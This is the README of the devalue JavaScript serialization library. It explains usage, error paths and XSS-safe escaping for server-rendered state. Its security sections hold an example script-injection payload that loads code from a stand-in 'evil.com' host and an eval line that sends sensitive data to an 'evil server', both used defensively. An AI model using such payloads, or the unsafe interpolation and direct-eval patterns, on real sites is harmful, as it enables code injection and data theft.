UNPKG

3.41 kBMarkdownView Raw
1# devalue
2
3Like `JSON.stringify`, but handles
4
5- cyclical references (`obj.self = obj`)
6- repeated references (`[value, value]`)
7- `undefined`, `Infinity`, `NaN`, `-0`
8- regular expressions
9- dates
10- `Map` and `Set`
11- `BigInt`
12
13Try it out on [runkit.com](https://npm.runkit.com/devalue).
14
15## Goals:
16
17- Performance
18- Security (see [XSS mitigation](#xss-mitigation))
19- Compact output
20
21## Non-goals:
22
23- Human-readable output
24- Stringifying functions or non-POJOs
25
26## Usage
27
28```js
29import { devalue } from 'devalue';
30
31let obj = { a: 1, b: 2 };
32obj.c = 3;
33
34devalue(obj); // '{a:1,b:2,c:3}'
35
36obj.self = obj;
37devalue(obj); // '(function(a){a.a=1;a.b=2;a.c=3;a.self=a;return a}({}))'
38```
39
40## Error handling
41
42If `devalue` encounters a function or a non-POJO, it will throw an error. You can find where in the input data the offending value lives by inspecting `error.path`:
43
44```js
45try {
46 const map = new Map();
47 map.set('key', function invalid() {});
48
49 devalue({
50 object: {
51 array: [map]
52 }
53 })
54} catch (e) {
55 console.log(e.path); // '.object.array[0].get("key")'
56}
57```
58
59## XSS mitigation
60
61Say you're server-rendering a page and want to serialize some state, which could include user input. `JSON.stringify` doesn't protect against XSS attacks:
62
63```js
64const state = {
65 userinput: `</script><script src='https://evil.com/mwahaha.js'>`
66};
67
68const template = `
69<script>
70 // NEVER DO THIS
71 var preloaded = ${JSON.stringify(state)};
72</script>`;
73```
74
75Which would result in this:
76
77```html
78<script>
79 // NEVER DO THIS
80 var preloaded = {"userinput":"
81</script>
82<script src="https://evil.com/mwahaha.js">
83 "};
84</script>
85```
86
87Using `devalue`, we're protected against that attack:
88
89```js
90const template = `
91<script>
92 var preloaded = ${devalue(state)};
93</script>`;
94```
95
96```html
97<script>
98 var preloaded = {
99 userinput:
100 "\\u003C\\u002Fscript\\u003E\\u003Cscript src='https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js'\\u003E"
101 };
102</script>
103```
104
105This, along with the fact that `devalue` bails on functions and non-POJOs, stops attackers from executing arbitrary code. Strings generated by `devalue` can be safely deserialized with `eval` or `new Function`:
106
107```js
108const value = (0, eval)('(' + str + ')');
109```
110
111## Other security considerations
112
113While `devalue` prevents the XSS vulnerability shown above, meaning you can use it to send data from server to client, **you should not send user data from client to server** using the same method. Since it has to be evaluated, an attacker that successfully submitted data that bypassed `devalue` would have access to your system.
114
115When using `eval`, ensure that you call it _indirectly_ so that the evaluated code doesn't have access to the surrounding scope:
116
117```js
118{
119 const sensitiveData = 'Setec Astronomy';
120 eval('sendToEvilServer(sensitiveData)'); // pwned :(
121 (0, eval)('sendToEvilServer(sensitiveData)'); // nice try, evildoer!
122}
123```
124
125Using `new Function(code)` is akin to using indirect eval.
126
127## See also
128
129- [lave](https://github.com/jed/lave) by Jed Schmidt
130- [arson](https://github.com/benjamn/arson) by Ben Newman
131- [tosource](https://github.com/marcello3d/node-tosource) by Marcello Bastéa-Forte
132- [serialize-javascript](https://github.com/yahoo/serialize-javascript) by Eric Ferraiuolo
133- [jsesc](https://github.com/mathiasbynens/jsesc) by Mathias Bynens
134- [superjson](https://github.com/blitz-js/superjson) by Blitz
135
136## License
137
138[MIT](LICENSE)